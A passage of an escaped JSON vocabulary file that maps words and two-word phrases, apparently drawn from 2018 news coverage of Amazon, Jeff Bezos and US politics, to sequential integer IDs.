\"chief global\": 144931,\n  \"mccarthy upstateamerica\": 144932,\n  \"just ocasio\": 144933,\n  \"removed\": 144934,\n  \"surveillance speaking\": 144935,\n  \"north_andover\": 144936,\n  \"bankrupt amazon\": 144937,\n  \"dividends\": 144938,\n  \"shakeout\": 144939,\n  \"racing camel\": 144940,\n  \"google sundar\": 144941,\n  \"create virally\": 144942,\n  \"taking market\": 144943,\n  \"suwol\": 144944,\n  \"state party\": 144945,\n  \"aging social\": 144946,\n  \"hands\": 144947,\n  \"new drones\": 144948,\n  \"mccoll\": 144949,\n  \"deal pecker\": 144950,\n  \"service unfairly\": 144951,\n  \"foxconn scaled\": 144952,\n  \"ave maria\": 144953,\n  \"office transcript\": 144954,\n  \"old sears\": 144955,\n  \"ad worked\": 144956,\n  \"schapperts remain\": 144957,\n  \"wonderfully experimental\": 144958,\n  \"netchoice\": 144959,\n  \"war worries\": 144960,\n  \"semiotext\": 144961,\n  \"hefty incentives\": 144962,\n  \"permanent sense\": 144963,\n  \"people congresswoman\": 144964,\n  \"adjoining waterfront\": 144965,\n  \"provides mobile\": 144966,\n  \"history killed\": 144967,\n  \"key new\": 144968,\n  \"lobbying work\": 144969,\n  \"wrote business\": 144970,\n  \"investment director\": 144971,\n  \"fan knows\": 144972,\n  \"certain features\": 144973,\n  \"initiatives\": 144974,\n  \"assets requiring\": 144975,\n  \"foil documents\": 144976,\n  \"crash really\": 144977,\n  \"kroger adds\": 144978,\n  \"uber design\": 144979,\n  \"memphis international\": 144980,\n  \"bigs\": 144981,\n  \"powerful conservative\": 144982,\n  \"profile picture\": 144983,\n  \"area killed\": 144984,\n  \"develop\": 144985,\n  \"tried pitching\": 144986,\n  \"url\": 144987,\n  \"forcibly displaced\": 144988,\n  \"founder ownership\": 144989,\n  \"having sold\": 144990,\n  \"kent\": 144991,\n  \"crossbow hipsters\": 144992,\n  \"cyber break\": 144993,\n  \"need queens\": 144994,\n  \"performing little\": 144995,\n  \"investors hoping\": 144996,\n  \"canadian players\": 144997,\n  \"global trade\": 144998,\n  \"leaders scramble\": 144999,\n  \"certain consumer\": 145000,\n  \"control gay\": 145001,\n  \"quarterly profits\": 145002,\n  \"growing big\": 145003,\n  \"generally poll\": 145004,\n  \"potential reset\": 145005,\n  \"environmental action\": 145006,\n  \"crimes wisconsin\": 145007,\n  \"anissue\": 145008,\n  \"involving delivery\": 145009,\n  \"know everybody\": 145010,\n  \"mississippi just\": 145011,\n  \"espousing\": 145012,\n  \"domenick abbate\": 145013,\n  \"layfield\": 145014,\n  \"xin jinping\": 145015,\n  \"angeles boss\": 145016,\n  \"primetime senate\": 145017,\n  \"later columns\": 145018,\n  \"cc\": 145019,\n  \"labor day\": 145020,\n  \"stymied\": 145021,\n  \"rocket blue\": 145022,\n  \"tax treatment\": 145023,\n  \"democratic good\": 145024,\n  \"steve williams\": 145025,\n  \"dc restaurant\": 145026,\n  \"nullifies\": 145027,\n  \"brown immigrants\": 145028,\n  \"bezostheclown\": 145029,\n  \"story unexpected\": 145030,\n  \"__proto__ a4ee\": 145031,\n  \"margins\": 145032,\n  \"shares blue\": 145033,\n  \"authorized\": 145034,\n  \"capabilities outside\": 145035,\n  \"story icymi\": 145036,\n  \"initially sees\": 145037,\n  \"tanking\": 145038,\n  \"lest americans\": 145039,\n  \"fronts following\": 145040,\n  \"elaine krupnick\": 145041,\n  \"stronger military\": 145042,\n  \"humor properly\": 145043,\n  \"politics saying\": 145044,\n  \"cartoons visit\": 145045,\n  \"cosecha demonstrators\": 145046,\n  \"queer eye\": 145047,\n  \"share relationships\": 145048,\n  \"real body\": 145049,\n  \"include sex\": 145050,\n  \"sideline\": 145051,\n  \"grumpy craggy\": 145052,\n  \"new package\": 145053,\n  \"resuscitated authorities\": 145054,\n  \"regulations uu\": 145055,\n  \"western canada\": 145056,\n  \"commerce peers\": 145057,\n  \"pursues solutions\": 145058,\n  \"company opposition\": 145059,\n  \"sounds juicy\": 145060,\n  \"studies organized\": 145061,\n  \"elegy\": 145062,\n  \"poohed\": 145063,\n  \"amazon poor\": 145064,\n  \"signs supporting\": 145065,\n  \"keeps pushing\": 145066,\n  \"amazon hoped\": 145067,\n  \"placed tariffs\": 145068,\n  \"instance carmakers\": 145069,\n  \"influence roughly\": 145070,\n  \"commemorative\": 145071,\n  \"question embedded\": 145072,\n  \"line people\": 145073,\n  \"market radar\": 145074,\n  \"ebay reports\": 145075,\n  \"thing katherine\": 145076,\n  \"customers second\": 145077,\n  \"multiple hq2s\": 145078,\n  \"impeachobama\": 145079,\n  \"database issues\": 145080,\n  \"indiana needs\": 145081,\n  \"fast lane\": 145082,\n  \"canceling nyc\": 145083,\n  \"certainly believes\": 145084,\n  \"gentrification relocating\": 145085,\n  \"kubernetes mega\": 145086,\n  \"amazon avoids\": 145087,\n  \"couple theories\": 145088,\n  \"editor paul\": 145089,\n  \"worsen relations\": 145090,\n  \"ended private\": 145091,\n  \"toughen foreign\": 145092,\n  \"marshal service\": 145093,\n  \"media writing\": 145094,\n  \"walmart won\": 145095,\n  \"exchange changed\": 145096,\n  \"arresting central\": 145097,\n  \"chanel\": 145098,\n  \"dhs amazon\": 145099,\n  \"reporter meltdown\": 145100,\n  \"everybody watch\": 145101,\n  \"citing historic\": 145102,\n  \"unprincipled\": 145103,\n  \"colleague sean\": 145104,\n  \"immaculate long\": 145105,\n  \"researches teen\": 145106,\n  \"new assertive\": 145107,\n  \"bezos enterprises\": 145108,\n  \"blunt response\": 145109,\n  \"nwdc\": 145110,\n  \"specification\": 145111,\n  \"false sense\": 145112,\n  \"story meet\": 145113,\n  \"activist seton\": 145114,\n  \"state mike\": 145115,\n  \"state model\": 145116,\n  \"hadassa waxman\": 145117,\n  \"industry isn\": 145118,\n  \"senator michael\": 145119,\n  \"viewing amazon\": 145120,\n  \"snail\": 145121,\n  \"partnership model\": 145122,\n  \"host hq2\": 145123,\n  \"rebecca burns\": 145124,\n  \"beelzebezos kowtows\": 145125,\n  \"record boom\": 145126,\n  \"regulations learned\": 145127,\n  \"unvarnished view\": 145128,\n  \"conduct maybe\": 145129,\n  \"review manipulation\": 145130,\n  \"willget final\": 145131,\n  \"gop enlarged\": 145132,\n  \"ge booking\": 145133,\n  \"queryselectorall\": 145134,\n  \"new campuses\": 145135,\n  \"1998\": 145136,\n  \"address phone\": 145137,\n  \"effective way\": 145138,\n  \"chat jessie\": 145139,\n  \"staff shakeups\": 145140,\n  \"distance hiker\": 145141,\n  \"yalitza\": 145142,\n  \"york posted\": 145143,\n  \"tech derby\": 145144,\n  \"speeds enhanced\": 145145,\n  \"items sent\": 145146,\n  \"criticism following\": 145147,\n  \"including president\": 145148,\n  \"regarding\": 145149,\n  \"hires\": 145150,\n  \"galloway professor\": 145151,\n  \"used extortion\": 145152,\n  \"dubbing jeff\": 145153,\n  \"2016 adding\": 145154,\n  \"sherman\": 145155,\n  \"veterans weighed\": 145156,\n  \"tax golf\": 145157,\n  \"briefly fell\": 145158,\n  \"york big\": 145159,\n  \"lowboy\": 145160,\n  \"conservative writer\": 145161,\n  \"local author\": 145162,\n  \"streaming devices\": 145163,\n  \"win friends\": 145164,\n  \"twitter channels\": 145165,\n  \"vendors pay\": 145166,\n  \"paper 8217\": 145167,\n  \"charlamagne tha\": 145168,\n  \"wasn ready\": 145169,\n  \"analytica\": 145170,\n  \"native country\": 145171,\n  \"national provider\": 145172,\n  \"choose legislators\": 145173,\n  \"slapped alphabet\": 145174,\n  \"police forces\": 145175,\n  \"flat compared\": 145176,\n  \"\\u0430in\\u0430appearance children\": 145177,\n  \"bezos freed\": 145178,\n  \"cresset family\": 145179,\n  \"2018 edition\": 145180,\n  \"indict\": 145181,\n  \"highest values\": 145182,\n  \"hagey explains\": 145183,\n  \"hosts eugene\": 145184,\n  \"contract challenges\": 145185,\n  \"900 barron\": 145186,\n  \"looted\": 145187,\n  \"ice spokesman\": 145188,\n  \"echo dominance\": 145189,\n  \"ohlin\": 145190,\n  \"bezos willingness\": 145191,\n  \"mnuchin took\": 145192,\n  \"bad reporting\": 145193,\n  \"reporting defendant\": 145194,\n  \"deputy attorney\": 145195,\n  \"affiliated\": 145196,\n  \"low taxes\": 145197,\n  \"hate\": 145198,\n  \"portfolio cambridge\": 145199,\n  \"otcpk usps\": 145200,\n  \"industry hearings\": 145201,\n  \"8217 chief\": 145202,\n  \"appeared\": 145203,\n  \"trace\": 145204,\n  \"taxes underpaying\": 145205,\n  \"break arlington\": 145206,\n  \"network cnn\": 145207,\n  \"videotape larry\": 145208,\n  \"leading national\": 145209,\n  \"instincts\": 145210,\n  \"tragedy struck\": 145211,\n  \"accuses sears\": 145212,\n  \"curb online\": 145213,\n  \"usps generates\": 145214,\n  \"hours ahead\": 145215,\n  \"world famous\": 145216,\n  \"proposal danhof\": 145217,\n  \"various higher\": 145218,\n  \"sales data\": 145219,\n  \"nests trump\": 145220,\n  \"posted president\": 145221,\n  \"amazon contracts\": 145222,\n  \"protecting hillary\": 145223,\n  \"tracker reports\": 145224,\n  \"hidden angle\": 145225,\n  \"services smaller\": 145226,\n  \"notably china\": 145227,\n  \"party stores\": 145228,\n  \"blunt future\": 145229,\n  \"molinari\": 145230,\n  \"shipping option\": 145231,\n  \"woman hops\": 145232,\n  \"lisa lillien\": 145233,\n  \"nonsupervisory retail\": 145234,\n  \"neutrality indicate\": 145235,\n  \"mixed reactions\": 145236,\n  \"tribeca\": 145237,\n  \"gbenga ajilore\": 145238,\n  \"388160 img_foreignkey\": 145239,\n  \"cupp\": 145240,\n  \"unfettered\": 145241,\n  \"restoring ms\": 145242,\n  \"published stocks\": 145243,\n  \"lascivious texts\": 145244,\n  \"trump accepts\": 145245,\n  \"butler\": 145246,\n  \"alexa developer\": 145247,\n  \"deeply patriotic\": 145248,\n  \"bipartisan consensus\": 145249,\n  \"national immigrant\": 145250,\n  \"hagey\": 145251,\n  \"adviser roger\": 145252,\n  \"tiny closed\": 145253,\n  \"turbine division\": 145254,\n  \"tape hogan\": 145255,\n  \"wire cnl_featuretype\": 145256,\n  \"solicit amazon\": 145257,\n  \"formally worked\": 145258,\n  \"comics visit\": 145259,\n  \"elected euro\": 145260,\n  \"sanders refers\": 145261,\n  \"russia tried\": 145262,\n  \"high production\": 145263,\n  \"mama meal\": 145264,\n  \"mohamad\": 145265,\n  \"nervous 2018\": 145266,\n  \"video jackson\": 145267,\n  \"nationalpost lewrockwell\": 145268,\n  \"summit host\": 145269,\n  \"photo cnbc\": 145270,\n  \"jessica chastain\": 145271,\n  \"words world\": 145272,\n  \"cohen reportedly\": 145273,\n  \"substantive differences\": 145274,\n  \"oxy pills\": 145275,\n  \"prevent becker\": 145276,\n  \"shape legislation\": 145277,\n  \"urges japan\": 145278,\n  \"central banks\": 145279,\n  \"relationship featuring\": 145280,\n  \"warmly\": 145281,\n  \"members called\": 145282,\n  \"rests\": 145283,\n  \"bona fide\": 145284,\n  \"ongoing mueller\": 145285,\n  \"dosari bezos\": 145286,\n  \"terrible security\": 145287,\n  \"corrected release\": 145288,\n  \"croix river\": 145289,\n  \"thedemocratic\": 145290,\n  \"dived\": 145291,\n  \"improved educational\": 145292,\n  \"2020 census\": 145293,\n  \"wayfair\": 145294,\n  \"index climbed\": 145295,\n  \"constructionaccounts\": 145296,\n  \"lincicome\": 145297,\n  \"game plan\": 145298,\n  \"company copying\": 145299,\n  \"lic post\": 145300,\n  \"totally dishonest\": 145301,\n  \"best chef\": 145302,\n  \"appliance\": 145303,\n  \"geekwire analysis\": 145304,\n  \"newpaper24 global\": 145305,\n  \"backpack\": 145306,\n  \"eb\": 145307,\n  \"generational reckoning\": 145308,\n  \"mitigate persistent\": 145309,\n  \"rising competition\": 145310,\n  \"bandwidth right\": 145311,\n  \"cite previous\": 145312,\n  \"bob dole\": 145313,\n  \"scott angelle\": 145314,\n  \"price tags\": 145315,\n  \"airmen honored\": 145316,\n  \"positive trade\": 145317,\n  \"vision\": 145318,\n  \"built follow\": 145319,\n  \"expose\": 145320,\n  \"does run\": 145321,\n  \"anonymous\": 145322,\n  \"overruled yesterday\": 145323,\n  \"key oil\": 145324,\n  \"early voice\": 145325,\n  \"boyle listens\": 145326,\n  \"additionally impeach\": 145327,\n  \"valley based\": 145328,\n  \"huge multiple\": 145329,\n  \"release conference\": 145330,\n  \"toni angelo\": 145331,\n  \"hackett\": 145332,\n  \"big myth\": 145333,\n  \"run bunch\": 145334,\n  \"higher arpu\": 145335,\n  \"bidu\": 145336,\n  \"trump unnecessary\": 145337,\n  \"new community\": 145338,\n  \"level drivers\": 145339,\n  \"attended\": 145340,\n  \"treats trump\": 145341,\n  \"wages roughly\": 145342,\n  \"euro stoxx\": 145343,\n  \"issues budgetary\": 145344,\n  \"mail fewer\": 145345,\n  \"beast report\": 145346,\n  \"fraudster\": 145347,\n  \"401 student\": 145348,\n  \"security technology\": 145349,\n  \"pemuda means\": 145350,\n  \"ken klippenstein\": 145351,\n  \"available contact\": 145352,\n  \"meet halfway\": 145353,\n  \"pac donation\": 145354,\n  \"amazon unfiltered\": 145355,\n  \"lend money\": 145356,\n  \"cbs north\": 145357,\n  \"league season\": 145358,\n  \"major seattle\": 145359,\n  \"month 2018\": 145360,\n  \"house sent\": 145361,\n  \"fallen flat\": 145362,\n  \"sign flashing\": 145363,\n  \"selected think\": 145364,\n  \"spending far\": 145365,\n  \"detests\": 145366,\n  \"consumers benefit\": 145367,\n  \"2016 nearly\": 145368,\n  \"buzz pre\": 145369,\n  \"document filed\": 145370,\n  \"opening brewery\": 145371,\n  \"lathan\": 145372,\n  \"trump summit\": 145373,\n  \"nottrump\": 145374,\n  \"public data\": 145375,\n  \"federal workforce\": 145376,\n  \"residential reits\": 145377,\n  \"secretary tim\": 145378,\n  \"integrate xpo\": 145379,\n  \"crunching\": 145380,\n  \"unlikeliest\": 145381,\n  \"homemaker\": 145382,\n  \"blindfold\": 145383,\n  \"targeted\": 145384,\n  \"remain stuck\": 145385,\n  \"agency delivering\": 145386,\n  \"plumer writes\": 145387,\n  \"largest producers\": 145388,\n  \"times dhl\": 145389,\n  \"import pot\": 145390,\n  \"google displays\": 145391,\n  \"zenith\": 145392,\n  \"stop buying\": 145393,\n  \"gig economy\": 145394,\n  \"union trump\": 145395,\n  \"patronized\": 145396,\n  \"says standing\": 145397,\n  \"entity amazon\": 145398,\n  \"explained employees\": 145399,\n  \"helped amazon\": 145400,\n  \"overwhelming supported\": 145401,\n  \"misogynistic\": 145402,\n  \"gillian flaccus\": 145403,\n  \"stop bojack\": 145404,\n  \"credits earned\": 145405,\n  \"ann read\": 145406,\n  \"coalition aim\": 145407,\n  \"ramps project\": 145408,\n  \"source mc\": 145409,\n  \"headquarters puts\": 145410,\n  \"elevator\": 145411,\n  \"bomb case\": 145412,\n  \"disclosure stories\": 145413,\n  \"messages citing\": 145414,\n  \"etf xrt\": 145415,\n  \"situation shows\": 145416,\n  \"319 map\": 145417,\n  \"danhett\": 145418,\n  \"really embarrassment\": 145419,\n  \"later assigned\": 145420,\n  \"remindsme\": 145421,\n  \"jackhammered\": 145422,\n  \"o1a\": 145423,\n  \"apparently hopes\": 145424,\n  \"official foreign\": 145425,\n  \"assistants smart\": 145426,\n  \"prospects competition\": 145427,\n  \"treaty guaranteeing\": 145428,\n  \"chapter amid\": 145429,\n  \"man access\": 145430,\n  \"yoshida blasts\": 145431,\n  \"isn required\": 145432,\n  \"amazing turn\": 145433,\n  \"rt friendmatty\": 145434,\n  \"trump faces\": 145435,\n  \"county fears\": 145436,\n  \"marker\": 145437,\n  \"endorsing major\": 145438,\n  \"joined multi\": 145439,\n  \"hank smith\": 145440,\n  \"resign\": 145441,\n  \"legacy chains\": 145442,\n  \"fiery endorsement\": 145443,\n  \"rise structure\": 145444,\n  \"jacqueline\": 145445,\n  \"erratic behavior\": 145446,\n  \"topo chico\": 145447,\n  \"pharmacy business\": 145448,\n  \"scottland ireland\": 145449,\n  \"company wanting\": 145450,\n  \"harrowing\": 145451,\n  \"langella\": 145452,\n  \"funny modern\": 145453,\n  \"finnish presidential\": 145454,\n  \"small batch\": 145455,\n  \"famine\": 145456,\n  \"woodard upcoming\": 145457,\n  \"notice disclaimer\": 145458,\n  \"forget recyclable\": 145459,\n  \"emergency shelter\": 145460,\n  \"china data\": 145461,\n  \"community pushback\": 145462,\n  \"airport big\": 145463,\n  \"reviews\": 145464,\n  \"josh barro\": 145465,\n  \"untaxed\": 145466,\n  \"correctly detected\": 145467,\n  \"trade offs\": 145468,\n  \"pecker bonus\": 145469,\n  \"michael giorgione\": 145470,\n  \"honors human\": 145471,\n  \"payments financial\": 145472,\n  \"charlie gasparino\": 145473,\n  \"dp b077l6ksgm\": 145474,\n  \"totaling million\": 145475,\n  \"zucker run\": 145476,\n  \"jackets\": 145477,\n  \"s5 s8i\": 145478,\n  \"universe resistance\": 145479,\n  \"force nope\": 145480,\n  \"crumbling\": 145481,\n  \"cell therapy\": 145482,\n  \"property services\": 145483,\n  \"stock continued\": 145484,\n  \"disrupting unrelated\": 145485,\n  \"parts amazon\": 145486,\n  \"retailer legal\": 145487,\n  \"officials report\": 145488,\n  \"2018 rapidly\": 145489,\n  \"legitimate journalism\": 145490,\n  \"day email\": 145491,\n  \"continuing government\": 145492,\n  \"mess just\": 145493,\n  \"bad corporate\": 145494,\n  \"patrick leahy\": 145495,\n  \"ggg\": 145496,\n  \"westover amazon\": 145497,\n  \"basketball\": 145498,\n  \"beloved personal\": 145499,\n  \"homespun\": 145500,\n  \"email trove\": 145501,\n  \"health insurers\": 145502,\n  \"continue launching\": 145503,\n  \"pecker traveled\": 145504,\n  \"sportscaster jim\": 145505,\n  \"popular according\": 145506,\n  \"create savings\": 145507,\n  \"year kamhi\": 145508,\n  \"horror including\": 145509,\n  \"vitriol nope\": 145510,\n  \"nationalist jared\": 145511,\n  \"wight\": 145512,\n  \"query report\": 145513,\n  \"destination amazon\": 145514,\n  \"workers compared\": 145515,\n  \"79million\": 145516,\n  \"literary\": 145517,\n  \"foment public\": 145518,\n  \"mexico best\": 145519,\n  \"turing\": 145520,\n  \"czech coalition\": 145521,\n  \"franzia\": 145522,\n  \"team wide\": 145523,\n  \"nuzzle\": 145524,\n  \"0510s2p\": 145525,\n  \"income gap\": 145526,\n  \"wider selection\": 145527,\n  \"rare bright\": 145528,\n  \"vestager new\": 145529,\n  \"channels server719399\": 145530,\n  \"performance based\": 145531,\n  \"china fortunately\": 145532,\n  \"communications drew\": 145533,\n  \"stale\": 145534,\n  \"quacks\": 145535,\n  \"ravaged california\": 145536,\n  \"987mm credit\": 145537,\n  \"chief executive\": 145538,\n  \"twitter content\": 145539,\n  \"current group\": 145540,\n  \"responsibility affordable\": 145541,\n  \"alleged pecker\": 145542,\n  \"comments overall\": 145543,\n  \"causing authentic\": 145544,\n  \"sexting\": 145545,\n  \"minded small\": 145546,\n  \"growing larger\": 145547,\n  \"honoring\": 145548,\n  \"ied david\": 145549,\n  \"president willhave\": 145550,\n  \"getting lump\": 145551,\n  \"environmental regulatory\": 145552,\n  \"heart lies\": 145553,\n  \"kingdom shutting\": 145554,\n  \"says capitalism\": 145555,\n  \"purse lawmakers\": 145556,\n  \"war trump\": 145557,\n  \"sears ongoing\": 145558,\n  \"revenue fell\": 145559,\n  \"legislators tuned\": 145560,\n  \"courts overwhelmed\": 145561,\n  \"mole listen\": 145562,\n  \"particular john\": 145563,\n  \"ulta\": 145564,\n  \"apwu annual\": 145565,\n  \"workers earn\": 145566,\n  \"furious trump\": 145567,\n  \"valley starting\": 145568,\n  \"famously depicts\": 145569,\n  \"susan talking\": 145570,\n  \"ago 19pm\": 145571,\n  \"bookstore called\": 145572,\n  \"education tech\": 145573,\n  \"200 year\": 145574,\n  \"people amazon\": 145575,\n  \"obligations\": 145576,\n  \"crowded\": 145577,\n  \"lot trump\": 145578,\n  \"tech powering\": 145579,\n  \"nasa memorabilia\": 145580,\n  \"revival\": 145581,\n  \"assembled team\": 145582,\n  \"736 pages\": 145583,\n  \"tech gender\": 145584,\n  \"mailbox squinting\": 145585,\n  \"freight rolls\": 145586,\n  \"feed reader\": 145587,\n  \"accenture positioned\": 145588,\n  \"white shoes\": 145589,\n  \"annual microsoft\": 145590,\n  \"implements\": 145591,\n  \"finalizes insurance\": 145592,\n  \"telecom industry\": 145593,\n  \"bezos chooses\": 145594,\n  \"text gayle\": 145595,\n  \"central publishing\": 145596,\n  \"06m\": 145597,\n  \"bezos modest\": 145598,\n  \"expected image\": 145599,\n  \"boilerplate language\": 145600,\n  \"overlooks manhattan\": 145601,\n  \"cortez grapples\": 145602,\n  \"army capt\": 145603,\n  \"means committee\": 145604,\n  \"accounts spam\": 145605,\n  \"official commemorative\": 145606,\n  \"sacks neurologist\": 145607,\n  \"ordination attention\": 145608,\n  \"fred hiatt\": 145609,\n  \"1736et\": 145610,\n  \"undercutting women\": 145611,\n  \"zilch zip\": 145612,\n  \"texas varney\": 145613,\n  \"muslims jewish\": 145614,\n  \"bush waves\": 145615,\n  \"blaming local\": 145616,\n  \"colorado trumped\": 145617,\n  \"calls acosta\": 145618,\n  \"follow chart\": 145619,\n  \"melber\": 145620,\n  \"org fundraising\": 145621,\n  \"bolsonaro nationalistic\": 145622,\n  \"vallone chair\": 145623,\n  \"moody analytics\": 145624,\n  \"world wealthiest\": 145625,\n  \"kept secret\": 145626,\n  \"investigation week\": 145627,\n  \"following statements\": 145628,\n  \"ideas number\": 145629,\n  \"told reporter\": 145630,\n  \"current attacks\": 145631,\n  \"162\": 145632,\n  \"alaska forcing\": 145633,\n  \"melts\": 145634,\n  \"matador work\": 145635,\n  \"appease white\": 145636,\n  \"contact 312\": 145637,\n  \"online statistics\": 145638,\n  \"changes globalization\": 145639,\n  \"reveals apple\": 145640,\n  \"projection covered\": 145641,\n  \"enquirer story\": 145642,\n  \"signatories\": 145643,\n  \"lobbying shop\": 145644,\n  \"yelp barclays\": 145645,\n  \"canadians mark\": 145646,\n  \"tweeted welcome\": 145647,\n  \"aimee johnson\": 145648,\n  \"global technical\": 145649,\n  \"dictum\": 145650,\n  \"attracts criticism\": 145651,\n  \"expertise helped\": 145652,\n  \"oahu set\": 145653,\n  \"better solution\": 145654,\n  \"using inappropriate\": 145655,\n  \"consistently inconsistent\": 145656,\n  \"making similar\": 145657,\n  \"changing politicians\": 145658,\n  \"certain tipping\": 145659,\n  \"runs\": 145660,\n  \"liquidity beta\": 145661,\n  \"news comments\": 145662,\n  \"alternative parscale\": 145663,\n  \"flavorwire embedded\": 145664,\n  \"colvin\": 145665,\n  \"barbara california\": 145666,\n  \"enterprisewide\": 145667,\n  \"payments known\": 145668,\n  \"costs related\": 145669,\n  \"musk falcon\": 145670,\n  \"business principles\": 145671,\n  \"valley photo\": 145672,\n  \"timeframetoggle false\": 145673,\n  \"taking objection\": 145674,\n  \"president tom\": 145675,\n  \"cities compete\": 145676,\n  \"fed picks\": 145677,\n  \"absorbing netflix\": 145678,\n  \"piketty\": 145679,\n  \"eradicate\": 145680,\n  \"amazon clearly\": 145681,\n  \"2017 just\": 145682,\n  \"avoid china\": 145683,\n  \"cnn zinke\": 145684,\n  \"analytic approach\": 145685,\n  \"star costume\": 145686,\n  \"active investigations\": 145687,\n  \"article couple\": 145688,\n  \"contested\": 145689,\n  \"pentagon doesn\": 145690,\n  \"providing real\": 145691,\n  \"obama years\": 145692,\n  \"function v4\": 145693,\n  \"capsules\": 145694,\n  \"disinformation won\": 145695,\n  \"saving prevention\": 145696,\n  \"support van\": 145697,\n  \"newsletter business\": 145698,\n  \"pete\": 145699,\n  \"steven jon\": 145700,\n  \"walker debuts\": 145701,\n  \"late great\": 145702,\n  \"thestreet kinsey\": 145703,\n  \"independent monitor\": 145704,\n  \"amazon debacle\": 145705,\n  \"just market\": 145706,\n  \"government charges\": 145707,\n  \"partners including\": 145708,\n  \"real story\": 145709,\n  \"inflation ahead\": 145710,\n  \"times reporters\": 145711,\n  \"binge able\": 145712,\n  \"trend critics\": 145713,\n  \"new revelation\": 145714,\n  \"media blasts\": 145715,\n  \"poetry collection\": 145716,\n  \"gift zone\": 145717,\n  \"inherent\": 145718,\n  \"books published\": 145719,\n  \"fewer regulations\": 145720,\n  \"state leadership\": 145721,\n  \"later met\": 145722,\n  \"000 holiday\": 145723,\n  \"regulation facebook\": 145724,\n  \"connectivity office\": 145725,\n  \"earn consultation\": 145726,\n  \"service legally\": 145727,\n  \"prediction companies\": 145728,\n  \"incorrect assumption\": 145729,\n  \"sentiment jumped\": 145730,\n  \"senator posted\": 145731,\n  \"dakota supreme\": 145732,\n  \"akelige sollicitatie\": 145733,\n  \"2015 kamhi\": 145734,\n  \"eyes recent\": 145735,\n  \"recruits learn\": 145736,\n  \"amazon trump\": 145737,\n  \"watch president\": 145738,\n  \"shuffling working\": 145739,\n  \"internet fandom\": 145740,\n  \"throw\": 145741,\n  \"lifestyle fields\": 145742,\n  \"delivery operators\": 145743,\n  \"new positions\": 145744,\n  \"avoided charges\": 145745,\n  \"investigation methods\": 145746,\n  \"slams jeff\": 145747,\n  \"treatment 2018\": 145748,\n  \"twitter reason\": 145749,\n  \"wife air\": 145750,\n  \"bases trump\": 145751,\n  \"handbags amazon\": 145752,\n  \"amassed thanks\": 145753,\n  \"drinks way\": 145754,\n  \"sounds interesting\": 145755,\n  \"c2x b5q\": 145756,\n  \"limo driver\": 145757,\n  \"latest flier\": 145758,\n  \"chinese plot\": 145759,\n  \"domestic abuse\": 145760,\n  \"protest rallies\": 145761,\n  \"icymi melania\": 145762,\n  \"saudis game\": 145763,\n  \"provided\": 145764,\n  \"false picture\": 145765,\n  \"wrong muckerman\": 145766,\n  \"story looking\": 145767,\n  \"scrawny figure\": 145768,\n  \"particularly hard\": 145769,\n  \"pe\\u00f1a ice\": 145770,\n  \"rundown\": 145771,\n  \"stamps features\": 145772,\n  \"neighbors defeated\": 145773,\n  \"situation north\": 145774,\n  \"destroy democracy\": 145775,\n  \"money wrangles\": 145776,\n  \"using 25th\": 145777,\n  \"feldman chart\": 145778,\n  \"lyme\": 145779,\n  \"picture nbc\": 145780,\n  \"daughters living\": 145781,\n  \"theconsequence\": 145782,\n  \"eyewitness accounts\": 145783,\n  \"slattery trump\": 145784,\n  \"looking cleaner\": 145785,\n  \"cease bezos\": 145786,\n  \"following press\": 145787,\n  \"world email\": 145788,\n  \"accusations leveled\": 145789,\n  \"body text\": 145790,\n  \"sink led\": 145791,\n  \"goggans\": 145792,\n  \"apparently just\": 145793,\n  \"major plant\": 145794,\n  \"speaking loudly\": 145795,\n  \"provider expanding\": 145796,\n  \"data economy\": 145797,\n  \"dan sena\": 145798,\n  \"disrespected\": 145799,\n  \"florida recount\": 145800,\n  \"msf\": 145801,\n  \"cit\": 145802,\n  \"violated election\": 145803,\n  \"shown determination\": 145804,\n  \"leaderhip hiring\": 145805,\n  \"estate developer\": 145806,\n  \"nfl concussion\": 145807,\n  \"neckline\": 145808,\n  \"globaldata report\": 145809,\n  \"marketwatch report\": 145810,\n  \"jr ivanka\": 145811,\n  \"hyatt hotel\": 145812,\n  \"perrone\": 145813,\n  \"person making\": 145814,\n  \"netflix read\": 145815,\n  \"won explain\": 145816,\n  \"amazon head\": 145817,\n  \"delivery struggled\": 145818,\n  \"potential military\": 145819,\n  \"applications dangling\": 145820,\n  \"inaccurate\": 145821,\n  \"bezos employee\": 145822,\n  \"dleonard12\": 145823,\n  \"standard foundation\": 145824,\n  \"attention wasn\": 145825,\n  \"clip created\": 145826,\n  \"targets ordering\": 145827,\n  \"handing maga\": 145828,\n  \"likelihood 2018\": 145829,\n  \"09m\": 145830,\n  \"bezos investigators\": 145831,\n  \"aghast anti\": 145832,\n  \"ifiers\": 145833,\n  \"minor voluntary\": 145834,\n  \"\\u0430thanks\": 145835,\n  \"messages surfaced\": 145836,\n  \"echo shockingly\": 145837,\n  \"trump failure\": 145838,\n  \"clip steven\": 145839,\n  \"digital tyranny\": 145840,\n  \"growth deceleration\": 145841,\n  \"book amounts\": 145842,\n  \"shown time\": 145843,\n  \"perfectly\": 145844,\n  \"mexico election\": 145845,\n  \"billerica\": 145846,\n  \"virginia suburbs\": 145847,\n  \"spouse mackenzie\": 145848,\n  \"demand cooked\": 145849,\n  \"blue chip\": 145850,\n  \"cristina dias\": 145851,\n  \"swamp medium\": 145852,\n  \"joey\": 145853,\n  \"saying speaking\": 145854,\n  \"australia smart\": 145855,\n  \"danhof states\": 145856,\n  \"chadha\": 145857,\n  \"home workplace\": 145858,\n  \"source relayed\": 145859,\n  \"whitney\": 145860,\n  \"000 state\": 145861,\n  \"hornets photo\": 145862,\n  \"amazon guidance\": 145863,\n  \"county according\": 145864,\n  \"release intimate\": 145865,\n  \"life asking\": 145866,\n  \"financial lifeline\": 145867,\n  \"diatribe\": 145868,\n  \"technology bank\": 145869,\n  \"victim act\": 145870,\n  \"tabloids don\": 145871,\n  \"countries expect\": 145872,\n  \"britain france\": 145873,\n  \"tim apple\": 145874,\n  \"totalling 252\": 145875,\n  \"story stiglitz\": 145876,\n  \"water clean\": 145877,\n  \"servers continued\": 145878,\n  \"relentless\": 145879,\n  \"thinkers\": 145880,\n  \"seafood\": 145881,\n  \"faang portfolio\": 145882,\n  \"functioning congress\": 145883,\n  \"divorce wish\": 145884,\n  \"potential opponent\": 145885,\n  \"vinyl dashboard\": 145886,\n  \"monet illumonet\": 145887,\n  \"galvanized longtime\": 145888,\n  \"activity showcased\": 145889,\n  \"multiplication photo\": 145890,\n  \"theglobeandmail\": 145891,\n  \"trump queen\": 145892,\n  \"dennis hopper\": 145893,\n  \"uber toxic\": 145894,\n  \"world list\": 145895,\n  \"ripe\": 145896,\n  \"plus employees\": 145897,\n  \"mhz memorandum\": 145898,\n  \"druckenmiller katie\": 145899,\n 